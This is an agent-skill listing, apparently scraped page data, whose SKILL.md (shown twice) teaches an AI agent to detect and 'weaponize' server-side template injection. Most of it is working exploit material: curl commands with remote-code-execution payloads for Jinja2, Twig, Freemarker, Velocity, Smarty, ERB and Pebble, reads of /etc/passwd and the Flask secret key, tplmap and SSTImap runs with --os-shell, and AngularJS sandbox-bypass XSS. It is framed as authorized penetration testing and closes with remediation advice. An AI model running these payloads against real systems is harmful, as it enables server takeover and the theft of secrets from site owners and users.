[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E3WCSQXKFG6D6RN3J5SY45":3,"skill-same:01M7E3WCSQXKFG6D6RN3J5SY45":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7E3WCSQXKFG6D6RN3J5SY45","exploiting-template-injection-vulnerabilities",null,"Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-template-injection-vulnerabilities\ndescription: Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities\n  across Jinja2, Twig, Freemarker, and other template engines to achieve remote\n  code execution. Use when pentesting a web application that renders user input\n  through a server-side template engine and you need to confirm and weaponize SSTI.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- ssti\n- template-injection\n- rce\n- web-security\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n","# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","ssti","template-injection","rce","web-security","owasp","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45,46],"T1190","T1059.007","T1505.003","T1083","T1055","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill exploiting-template-injection-vulnerabilities",{"tool":61,"command":62},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill exploiting-template-injection-vulnerabilities",{"tool":64,"command":65},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill 